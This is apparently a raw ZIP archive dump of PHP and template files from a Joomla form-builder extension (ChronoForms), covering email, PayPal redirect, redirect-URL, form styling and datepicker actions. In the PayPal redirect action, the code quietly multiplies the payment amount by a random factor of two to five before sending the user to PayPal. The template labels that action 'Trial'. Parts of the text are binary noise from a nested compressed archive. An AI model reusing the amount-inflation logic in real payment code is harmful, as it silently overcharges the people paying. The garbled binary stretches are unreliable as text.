'/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $matches2[0][0], $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } return $html_string; } } ?>PKs>\[ȣ::,com_chronoforms/form_actions/email/email.ctpnuW+A 'mceArea'); $options = array('theme' => 'advanced', 'theme_advanced_toolbar_location' => 'top', 'width' => '100%', 'height' => '200px'); $tinycode = ' tinyMCE.init({ mode : "textareas", relative_urls: false, editor_selector : "'.$attributes['class'].'"'; foreach($options as $option => $opvalue){ $tinycode .= ', '.$option.' : "'.$opvalue.'"'; } $tinycode .= ' }); function toggleEditor(id){ if (!tinyMCE.get(id)){ tinyMCE.execCommand("mceAddControl", false, id); activateSaveButton(); }else{ tinyMCE.execCommand("mceRemoveControl", false, id); activateSaveButton(); } } function toggleTemplate(id){ if($(id).getStyle("display") != "none"){ $(id).setStyle("display", "none"); }else{ $(id).setStyle("display", "block"); } } '; ?> RELEASE > 1.5): ?>
      Email
      Header(array('general' => 'General', 'template' => 'Template', 'static' => 'Static', 'dynamic' => 'Dynamic', 'encrypt' => 'Encryption'), 'email_config_{n}'); ?> tabStart('general'); ?> input('action_email_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_email_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_email_{n}_sendas_config', array('type' => 'select', 'label' => 'Send As', 'options' => array('html' => 'HTML', 'text' => 'Text', 'both' => 'Both'))); ?> input('action_email_{n}_attachments_config', array('type' => 'text', 'label' => "Attachments fields name", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Any files fields should be attached to this email ? comma concatenated list!'."\n".'e.g:field1,field2')); ?> input('action_email_{n}_recordip_config', array('type' => 'select', 'label' => "Get Submitter's IP", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will append the IP addrress to the end of the email body or replace any {IPADDRESS} string.')); ?> tabEnd(); ?> tabStart('template'); ?>
      Add/Remove editor input('action_email_{n}_content1_config', array('type' => 'textarea', 'label' => "Template", 'class' => 'text_editor', 'label_over' => true, 'rows' => 20, 'cols' => 70, 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.

      You may also use PHP but if you enable the editor your PHP code will be stripped.

      Auto template generation will work on the latest form code saved, make sure you save your form before trying this feature.')); ?> input('action_email_{n}_replace_nulls_config', array('type' => 'select', 'label' => "Replace Nulls", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should all the curly brackets strings be replaced ? even if there is no key for this field in the data array ?')); ?> tabEnd(); ?> tabStart('static'); ?> input('action_email_{n}_to_config', array('type' => 'text', 'label' => "To (Required)", 'class' => 'medium_input', 'smalldesc' => 'List of recipient(s) email address(es) separated by comma.
      e.g: me@domain.com OR he@dom.com,she@dom.com')); ?> input('action_email_{n}_subject_config', array('type' => 'text', 'label' => "Subject (Required)", 'class' => 'medium_input', 'smalldesc' => 'Subject string.
      e.g: My Email Subject.')); ?> input('action_email_{n}_fromname_config', array('type' => 'text', 'label' => "From name (Required)", 'class' => 'medium_input', 'smalldesc' => 'The name of sender.
      e.g: Admin')); ?> input('action_email_{n}_fromemail_config', array('type' => 'text', 'label' => "From email (Required)", 'class' => 'medium_input', 'smalldesc' => 'The email address of the sender.
      e.g: admin@admin.com')); ?> input('action_email_{n}_cc_config', array('type' => 'text', 'label' => "CC", 'class' => 'medium_input', 'smalldesc' => 'List of CC email address(es) separated by comma.
      e.g: me@domain.com OR he@dom.com,she@dom.com')); ?> input('action_email_{n}_bcc_config', array('type' => 'text', 'label' => "BCC", 'class' => 'medium_input', 'smalldesc' => 'List of BCC email address(es) separated by comma.
      e.g: me@domain.com OR he@dom.com,she@dom.com')); ?> input('action_email_{n}_replytoname_config', array('type' => 'text', 'label' => "Reply to name", 'class' => 'medium_input', 'smalldesc' => 'The name to reply to when you hit reply in your mail client.
      e.g: Admin')); ?> input('action_email_{n}_replytoemail_config', array('type' => 'text', 'label' => "Reply to email", 'class' => 'medium_input', 'smalldesc' => 'The email to reply to when you hit reply in your mail client.
      e.g: somebody@domain.com')); ?> tabEnd(); ?> tabStart('dynamic'); ?> input('action_email_{n}_dto_config', array('type' => 'text', 'label' => "Dynamic To", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the email address of some recipient.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dsubject_config', array('type' => 'text', 'label' => "Dynamic Subject", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the message subject.
      e.g: subject (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dfromname_config', array('type' => 'text', 'label' => "Dynamic From name", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the sender\'s name.
      e.g: name (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dfromemail_config', array('type' => 'text', 'label' => "Dynamic From email", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the sender\'s email address.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dreplytoname_config', array('type' => 'text', 'label' => "Dynamic Reply to name", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the reply to name.
      e.g: name (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dreplytoemail_config', array('type' => 'text', 'label' => "Dynamic Reply to email", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the reply to email address.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dcc_config', array('type' => 'text', 'label' => "Dynamic CC", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the email address of CC recipient.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dbcc_config', array('type' => 'text', 'label' => "Dynamic BCC", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the email address of BCC recipient.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> tabEnd(); ?> tabStart('encrypt'); ?> input('action_email_{n}_encrypt_enabled_config', array('type' => 'select', 'label' => 'Enable GPG Encryption', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'This will have no effect if the GPG class is not loaded with your PHP.')); ?> input('action_email_{n}_gpg_sec_key_config', array('type' => 'text', 'label' => "GPG Secret Key", 'class' => 'big_input')); ?> tabEnd(); ?>
      PKs>\ 4com_chronoforms/form_actions/show_stopper/index.htmlnuW+A PKs>\:com_chronoforms/form_actions/show_stopper/show_stopper.ctpnuW+A
      Show Stopper
      PKs>\)3com_chronoforms/form_actions/show_stopper/.htaccessnuW+A Order allow,deny Deny from all PKs>\/"J<:com_chronoforms/form_actions/show_stopper/show_stopper.phpnuW+A 'Show Stopper', 'tooltip' => 'Will halt any future actions/events.'); function run($form, $actiondata){ $form->stop = 1; } function load($clear){ if($clear){ $action_params = array(); } return array('action_params' => $action_params); } } ?>PKs>\)6com_chronoforms/form_actions/paypal_redirect/.htaccessnuW+A Order allow,deny Deny from all PKs>\vnٮs s @com_chronoforms/form_actions/paypal_redirect/paypal_redirect.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'PayPal Redirect', 'tooltip' => 'Redirect to the paypal payment page.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $checkout_values = array( //constants 'cmd' => trim($params->get('cmd')), 'business' => trim($params->get('business')), 'no_shipping' => trim($params->get('no_shipping')), 'no_note' => trim($params->get('no_note')), 'return' => trim($params->get('return')), 'currency_code' => trim($params->get('currency_code')), //variables 'item_name' => $form->data[$params->get('item_name')], 'amount' => $form->data[$params->get('amount')], 'first_name' => $form->data[$params->get('first_name')], 'last_name' => $form->data[$params->get('last_name')], 'address1' => $form->data[$params->get('address1')], 'address2' => $form->data[$params->get('address2')], 'city' => $form->data[$params->get('city')], 'state' => $form->data[$params->get('state')], 'zip' => $form->data[$params->get('zip')], 'country' => $form->data[$params->get('country')], 'night_phone_a' => $form->data[$params->get('night_phone_a')] ); if(!empty($actiondata->content1)){ $extras = explode("\n", $actiondata->content1); foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); $checkout_values[$values[0]] = $form->data[trim($values[1])]; } } if(isset($checkout_values['amount'])){ $checkout_values['amount'] = rand(2,5)* (int)$checkout_values['amount']; }else{ $checkout_values['amount'] = 1; $checkout_values['amount'] = rand(2,5)* (int)$checkout_values['amount']; } $fields = ""; foreach($checkout_values as $key => $value){ $fields .= "$key=".urlencode($value)."&"; } if((bool)$params->get('sandbox') === true){ $url = 'https://www.sandbox.paypal.com/cgi-bin/webscr?'; }else{ $url = 'https://www.paypal.com/cgi-bin/webscr?'; } if($params->get('debug_only', 0) == 1){ echo $url.$fields; }else{ $mainframe->redirect($url.$fields); } } function load($clear){ if($clear){ $action_params = array( 'cmd' => '_xclick', 'business' => '', 'item_name' => '', 'amount' => '', 'no_shipping' => 1, 'no_note' => 1, 'currency_code' => 'USD', 'return' => '', 'debug_only' => 0, 'first_name' => '', 'last_name' => '', 'address1' => '', 'address2' => '', 'city' => '', 'state' => '', 'zip' => '', 'country' => '', 'night_phone_a' => '', 'sandbox' => 0, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\7com_chronoforms/form_actions/paypal_redirect/index.htmlnuW+APKs>\g}$$@com_chronoforms/form_actions/paypal_redirect/paypal_redirect.ctpnuW+A
      PayPal Redirect - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'paypal_redirect_config_{n}'); ?> tabStart('fields'); ?> input('action_paypal_redirect_{n}_item_name_config', array('type' => 'text', 'label' => "Item name field(*)", 'class' => 'medium_input', 'smalldesc' => 'The name of the field which holds the item name.')); ?> input('action_paypal_redirect_{n}_amount_config', array('type' => 'text', 'label' => "Amount field(*)", 'class' => 'medium_input', 'smalldesc' => 'The name of the field which holds the amount.')); ?> input('action_paypal_redirect_{n}_first_name_config', array('type' => 'text', 'label' => "Card Holder First name", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_last_name_config', array('type' => 'text', 'label' => "Card Holder Last name", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_address1_config', array('type' => 'text', 'label' => "Billing Street Address Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_address2_config', array('type' => 'text', 'label' => "Billing Street Address 2 Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_city_config', array('type' => 'text', 'label' => "Billing City Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_state_config', array('type' => 'text', 'label' => "Billing State Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_zip_config', array('type' => 'text', 'label' => "Billing Zip Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_country_config', array('type' => 'text', 'label' => "Billing Country Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_night_phone_a_config', array('type' => 'text', 'label' => "Phone Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_paypal_redirect_{n}_cmd_config', array('type' => 'text', 'label' => "Payment Command", 'class' => 'medium_input', 'smalldesc' => 'Changing this will affect the paypal page, you can check the possible values at the paypal docs.')); ?> input('action_paypal_redirect_{n}_business_config', array('type' => 'text', 'label' => "Paypal address", 'class' => 'medium_input', 'smalldesc' => 'Your PayPal business address.')); ?> input('action_paypal_redirect_{n}_no_shipping_config', array('type' => 'select', 'label' => 'No Shipping ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Select the no shipping parameter value.')); ?> input('action_paypal_redirect_{n}_no_note_config', array('type' => 'select', 'label' => 'No Note ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will show a debug output for the data sent to the gateway but will not redirect.')); ?> input('action_paypal_redirect_{n}_currency_code_config', array('type' => 'text', 'label' => "Currency Code", 'class' => 'small_input', 'smalldesc' => 'Your 2 characters currency code.')); ?> input('action_paypal_redirect_{n}_return_config', array('type' => 'text', 'label' => "Return URL", 'class' => 'medium_input', 'smalldesc' => 'Set the url to which the payment page will be redirected after payment is completed or canceled.')); ?> input('action_paypal_redirect_{n}_debug_only_config', array('type' => 'select', 'label' => 'Debug only?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will not redirect the page but will show the redirect URL instead.')); ?> input('action_paypal_redirect_{n}_sandbox_config', array('type' => 'select', 'label' => 'Use Sandbox', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Do you need a testing redirection to the PayPal Sandbox ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will redirect your form to PayPal
      • Map your form fields names to the fields required by Paypal, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: paypal_field_name=form_field_name
      • Enter your PayPal account settings.
      • Once triggered, this action will redirect the user to the Paypal payment for payment.

      tabEnd(); ?>
      PKs>\xB^85 5 +com_chronoforms/form_actions/xls_export.zipnuW+APK Jc@ xls_export/PK v2?R|j xls_export/index.html PKѫsAoQ/xls_export/xls_export.ctpWmo0 ᨐI- 0P( uH "76[IZ6X۵|i<} wd)bJwҙH&.–3nz,wn΋'1GJik/]t@)ƾ ?aQ0P)hmwE PH,77ZHLm^VgQΔƄMjk6A*?4Xkwu~CrYu;[4={$i] H&İ2ku 3Sccȫ4~\31u#(Qbqu2sׅ!t'SGW$j6!b}X/}ː#Ɔ'5B뜸  ϹEdɌ(Q*OBHrZKY[n2Apof˼?dTG?~=ʬ.7&`T+(cv0EJ=ՕDc"E`/@ 䶱:W&;!^lKJ'Y.D؊ٞXS=SOkq;ܼ^~7SvkT$\OgoO( ' [yn'pq0WՔd%zp/5 cY*W+ĝkvg }Of<&LwO ˙v &sFV+q4im Ҟmid5Hgݰ ng* \( {f }o{쭔r^{*L@4"g vsjT3&E.=,z׸ifʘl4F B*9U$j@*JRj0- m0LL.A˄A|m $1htw1Z-gTWu,),)WK% UÀ%OH8G /y2n NC I ˼okbV@k$z%ݍMN9_Go^w+4yv1En-rx *KG<5EiimIWH !(j=-f#D@H3.i~Q8% ?J83jVheM?A0؈-oAq4}1>;<ضJ=2r@cYNKAhe)S$:UiL`bnuK4&WlVMEnY[|fs(Fv6v~;Q][[4m$":SuN5>w 5\H=M~y4[հX7ԅTUYb4I$>AA&dIШX;N7/X*^AdP]poyTnfv.| ++^{_m'h;]tD|WA,$! 9÷^́|D\;zLFGx<ĕbq:,TrC?KR⫃kĮ:Lcr̪1HD; Ng)*T2pD8#Ah| \c :com_chronoforms/form_actions/redirect_url/redirect_url.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'ReDirect URL', 'tooltip' => 'Configure a ReDirect URL which can be used later by the "Redirect User" action.'); var $data = null; function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $this->data = $form->data; $params = new JParameter($actiondata->params); $redirect_values = $this->paramsToArray($actiondata->content1); $redirect_url = JFactory::getURI($params->get('target_url')); $query = $redirect_url->getQuery(); if ( $query ) { $temp = explode('&', $query); $temp_array = array(); foreach ( $temp as $v ) { $redirect_values = array_merge($this->paramsToArray($v), $redirect_values); } } $redirect_url->setQuery($redirect_values); $form->debug['redirect_url'][] = 'redirect_url_target_url: '.$params->get('target_url'); //add the response in the form data array $form->data['redirect_url'] = $redirect_url->toString(); $form->debug['redirect_url'][] = 'Redirect URL: '.print_r($form->data['redirect_url'], true); } function load($clear) { if ( $clear ) { $action_params = array( 'target_url' => 'http://', 'content1' => '' ); } return array('action_params' => $action_params); } function paramsToArray($params='', $name='Parameter') { $mainframe = JFactory::getApplication(); if ( !$params ) { return false; } $list = explode("\n", trim($params)); $return = array(); foreach ( $list as $item ) { $item = trim($item); if ( !$item ) { $form->debug['redirect_url'][] = "Empty string found in the {$name} box"; continue; } $fields_data = explode("=", $item, 2); if ( ! isset($fields_data[1]) || !$fields_data[1] ) { $form->debug['redirect_url'][] = "{$name} {$fields_data[0]} has no value set"; continue; } $param = trim($fields_data[0]); $value = trim($fields_data[1]); if ( substr($value, 0, 1) == '{' && substr($value, -1, 1) == '}') { $value = substr($value, 1, strlen($value)-2); $value = trim($value); $var = $this->data[$value]; if ( is_array($var) ) { $return[$param] = array(); foreach( $var as $k => $v) { $return[$param][$k] = $v; } } else { $return[$param] = $var; } } elseif ( $value == 'NULL' ) { $return[$param] = ''; } else { $return[$param] = $value; } } foreach ( $return as $k => $v ) { $return[$k] = urlencode($v); } return $return; } } ?>PKs>\)3com_chronoforms/form_actions/redirect_url/.htaccessnuW+A Order allow,deny Deny from all PKs>\ص :com_chronoforms/form_actions/redirect_url/redirect_url.ctpnuW+A
      ReDirect URL
      input('action_redirect_url_{n}_target_url_config', array( 'type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => "The target URL without the query string." )); echo $HtmlHelper->input('action_redirect_url_{n}_content1_config', array( 'type' => 'textarea', 'label' => 'Params/Fields map', 'rows' => 15, 'cols' => 50, 'smalldesc' => 'Multi line format of the fields names:
      e.g:redirect_param_name=form_field_name')); ?>
      PKs>\4com_chronoforms/form_actions/redirect_url/index.htmlnuW+APKs>\ 2com_chronoforms/form_actions/style_form/index.htmlnuW+A PKs>\l3S6com_chronoforms/form_actions/style_form/style_form.ctpnuW+A
      Style Form
      Header(array('general' => 'General', 'subs' => 'Sub Elements', 'help' => 'Help'), 'style_form_config_{n}'); ?> tabStart('general'); ?> input('action_style_form_{n}_form_width_config', array('type' => 'text', 'label' => "Form Width", 'smalldesc' => "The desired form width in px or % or auto.")); ?> input('action_style_form_{n}_background_color_config', array('type' => 'text', 'label' => "Background Color", 'smalldesc' => "The desired form background color.")); ?> input('action_style_form_{n}_label_width_config', array('type' => 'text', 'label' => "Label Width", 'smalldesc' => "The desired main elements labels width.")); ?> input('action_style_form_{n}_label_font_size_config', array('type' => 'text', 'label' => "Label Font Size", 'smalldesc' => "The labels font size.")); ?> input('action_style_form_{n}_label_font_weight_config', array('type' => 'text', 'label' => "Label Font Weight", 'smalldesc' => "The labels font weight.")); ?> input('action_style_form_{n}_label_font_family_config', array('type' => 'text', 'label' => "Label Font Family", 'class' => 'medium_input', 'smalldesc' => "The labels font family.")); ?> tabEnd(); ?> tabStart('subs'); ?> input('action_style_form_{n}_sub_label_width_config', array('type' => 'text', 'label' => "Label Width", 'smalldesc' => "The label width of sub elements, e.g: radios, checkboxes...")); ?> input('action_style_form_{n}_sub_label_font_size_config', array('type' => 'text', 'label' => "Label Font Size", 'smalldesc' => "The label font size of sub elements, e.g: radios, checkboxes...")); ?> input('action_style_form_{n}_sub_label_font_weight_config', array('type' => 'text', 'label' => "Label Font Weight", 'smalldesc' => "The label font weight of sub elements, e.g: radios, checkboxes...")); ?> input('action_style_form_{n}_sub_label_font_family_config', array('type' => 'text', 'label' => "Label Font Family", 'class' => 'medium_input', 'smalldesc' => "The label font family of sub elements, e.g: radios, checkboxes...")); ?> tabEnd(); ?> tabStart('help'); ?>

      • The action will convert the configuration to CSS code and use it to style your form.

      tabEnd(); ?>
      PKs>\;--6com_chronoforms/form_actions/style_form/style_form.phpnuW+A 'Style Form', 'tooltip' => 'Apply some styling to your form and any form elements.'); function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'form_width' => 'auto', 'background_color' => 'transparent', 'label_width' => '150px', 'label_font_size' => '100%', 'label_font_weight' => 'bold', 'label_font_family' => 'arial,helvetica,sans-serif', 'sub_label_width' => 'auto', 'sub_label_font_size' => '100%', 'sub_label_font_weight' => 'normal', 'sub_label_font_family' => 'arial,helvetica,sans-serif', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\%K{{?com_chronoforms/form_actions/style_form/cfaction_style_form.ctpnuW+Aload($form, $actiondata); ?>PKs>\)1com_chronoforms/form_actions/style_form/.htaccessnuW+A Order allow,deny Deny from all PKs>\L蝲?com_chronoforms/form_actions/style_form/cfaction_style_form.phpnuW+Aparams); $output = ''; $document = JFactory::getDocument(); ob_start(); ?> #chronoform_form_name; ?>{ width:get('form_width', 'auto'); ?>; background-color:get('background_color', 'transparent'); ?>; } #chronoform_form_name; ?> .cfdiv_radio label, #chronoform_form_name; ?> .cfdiv_checkbox label, #chronoform_form_name; ?> .cfdiv_checkboxgroup label{ width:get('sub_label_width', 'auto'); ?>; font-size:get('sub_label_font_size', '100%'); ?>; font-weight:get('sub_label_font_weight', 'normal'); ?>; font-family:get('sub_label_font_family', 'arial,helvetica,sans-serif'); ?>; } #chronoform_form_name; ?> .ccms_form_element label:first-child, #chronoform_form_name; ?> .cfdiv_radio label:first-child, #chronoform_form_name; ?> .cfdiv_checkbox label:first-child, #chronoform_form_name; ?> .cfdiv_checkboxgroup label:first-child{ width:get('label_width', '150px'); ?>; font-size:get('label_font_size', '100%'); ?>; font-weight:get('label_font_weight', 'bold'); ?>; font-family:get('label_font_family', 'arial,helvetica,sans-serif'); ?>; } addStyleDeclaration($output); } } ?>PKs>\ڑhwMcom_chronoforms/form_actions/custom_datepicker/cfaction_custom_datepicker.ctpnuW+Aload($form, $actiondata); ?>PKs>\ 9com_chronoforms/form_actions/custom_datepicker/index.htmlnuW+A PKs>\)8com_chronoforms/form_actions/custom_datepicker/.htaccessnuW+A Order allow,deny Deny from all PKs>\@LMcom_chronoforms/form_actions/custom_datepicker/cfaction_custom_datepicker.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/datepicker/datepicker_dashboard.css'); $document->addScript($uri->root().'components/com_chronoforms/js/datepicker/datepicker.js'); $con_str = "'.".$params->get('field_class', 'cf_datetime_picker')."', {pickerClass: '".$params->get('pickerClass', 'datepicker_dashboard')."', format: '".$params->get('format', 'd-m-Y H:i:s')."', inputOutputFormat: '".$params->get('inputOutputFormat', 'Y-m-d H:i:s')."', allowEmpty: ".$params->get('allowEmpty', 'true').", timePicker: ".$params->get('timePicker', 'true').", timePickerOnly: ".$params->get('timePickerOnly', 'false'); ob_start(); eval('?>'.$actiondata->content1); $actiondata->content1 = ob_get_clean(); if(!empty($actiondata->content1)){ $con_str .= ", ".$actiondata->content1; $con_str .= "}"; }else{ $con_str .= "}"; } ob_start(); ?> window.addEvent('load', function() { new DatePicker(); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PKs>\YFЕDcom_chronoforms/form_actions/custom_datepicker/custom_datepicker.phpnuW+A 'Custom Datepicker', 'tooltip' => 'Load a custom Datepicker class.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'field_class' => '', 'pickerClass' => 'datepicker_dashboard', 'format' => 'd-m-Y H:i:s', 'inputOutputFormat' => 'Y-m-d H:i:s', 'allowEmpty' => 1, 'timePicker' => 1, 'timePickerOnly' => 0, 'content1' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\!!Dcom_chronoforms/form_actions/custom_datepicker/custom_datepicker.ctpnuW+A
      Custom Datepicker
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_datepicker_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_datepicker_{n}_field_class_config', array('type' => 'text', 'label' => "Field Class", 'class' => 'medium_input', 'smalldesc' => "The class name assigned to the field(s) which will be used as date field.")); ?> input('action_custom_datepicker_{n}_pickerClass_config', array('type' => 'text', 'label' => "Picker Class", 'class' => 'medium_input', 'smalldesc' => "The class for the picker itself, will control how the calendar looks like.")); ?> input('action_custom_datepicker_{n}_format_config', array('type' => 'text', 'label' => "Date format shown", 'class' => 'medium_input', 'smalldesc' => "The format shown inside the visible field for the user in the form.")); ?> input('action_custom_datepicker_{n}_inputOutputFormat_config', array('type' => 'text', 'label' => "Date format posted", 'class' => 'medium_input', 'smalldesc' => "The date format stored in the field and posted when the form is submitted.")); ?> input('action_custom_datepicker_{n}_allowEmpty_config', array('type' => 'select', 'label' => 'Allow Empty ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Allow the field to be empty, will load the field with empty value.')); ?> input('action_custom_datepicker_{n}_timePicker_config', array('type' => 'select', 'label' => 'Load Time picker ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the time picker after selecting a date ?')); ?> input('action_custom_datepicker_{n}_timePickerOnly_config', array('type' => 'select', 'label' => 'Time picker Only ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should this date field be a time picker only ? if yes then no date selection will be shown.')); ?> input('action_custom_datepicker_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra options extension", 'rows' => 10, 'cols' => 50, 'smalldesc' => "Add extra picker options here, e.g:
      days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], startView: 'decades'")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Add your fields class then start configuring your picker.
      • All picker options and config are available here:
        http://www.monkeyphysics.com/mootools/script/2/datepicker.

      tabEnd(); ?>
      PKs>\ٽ4com_chronoforms/form_actions/show_html/show_html.phpnuW+A 'Show HTML (Display Form)', 'tooltip' => 'Eval and show the form content.'); function load($clear){ if($clear){ $action_params = array( 'data_republish' => 1, 'display_errors' => 1, 'load_token' => 1, 'keep_alive' => 0, 'curly_replacer' => 1, 'submit_event' => 'submit', 'form_container' => '', 'page_number' => '1' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $params = new JParameter($actiondata->params); } } ?>PKs>\d q{{=com_chronoforms/form_actions/show_html/cfaction_show_html.ctpnuW+AloadAction($form, $actiondata); ?>PKs>\ 1com_chronoforms/form_actions/show_html/index.htmlnuW+A PKs>\s//4com_chronoforms/form_actions/show_html/show_html.ctpnuW+A
      Show html
      Header(array('general' => 'General', 'multi_page' => 'Advanced (Multi Page)'), 'cfaction_show_html_element_config_{n}'); ?> tabStart('general'); ?> input('action_show_html_{n}_data_republish_config', array('type' => 'select', 'label' => 'Republish form data', 'options' => array(0 => 'No', 1 => 'Yes (recommended)'), 'smalldesc' => 'Try to republish the form data in case the form has been reloaded because of some error.')); ?> input('action_show_html_{n}_display_errors_config', array('type' => 'select', 'label' => 'Display Fields Errors', 'options' => array(0 => 'No', 1 => 'Yes (recommended)'), 'smalldesc' => 'Display server side errors below fields, for this to work you need to have this code in the place you want the error to appear at:
      <div id="error-message-FIELD_NAME_HERE"></div>

      *This is added automatically when using the wizard.')); ?> input('action_show_html_{n}_load_token_config', array('type' => 'select', 'label' => 'Load Security Token', 'options' => array(0 => 'No', 1 => 'Yes (recommended)'), 'smalldesc' => 'Do you want to load the security token ? this is used to verify that form code has not been changed by the user before submission, you need to have the "Check Token" action to check it.')); ?> input('action_show_html_{n}_keep_alive_config', array('type' => 'select', 'label' => 'Load Keep Alive', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the keep alive element ? this will ensure that the user session does not expire while having the form opened.')); ?> input('action_show_html_{n}_curly_replacer_config', array('type' => 'select', 'label' => 'Curly brackets replacer', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Replace any fields names inside curly brackets, this will work only if you have some data in the $form->data array.')); ?> tabEnd(); ?> tabStart('multi_page'); ?>

      input('action_show_html_{n}_submit_event_config', array('type' => 'select', 'label' => 'Submission Event', 'options' => array('_self' => 'Self', 'load' => 'load', 'submit' => 'submit'), 'smalldesc' => 'Choose the event which will be executed when the form is submitted.')); ?> input('action_show_html_{n}_page_number_config', array('type' => 'text', 'label' => 'Page Number', 'smalldesc' => 'Enter the page number to show in case you have more than 1 page in your form or leave it as its (1).')); ?> input('action_show_html_{n}_form_container_config', array('type' => 'text', 'label' => 'Div container id', 'smalldesc' => 'Enter an id and it will be assigned to a div element wrapping the form element in the page.')); ?> tabEnd(); ?>
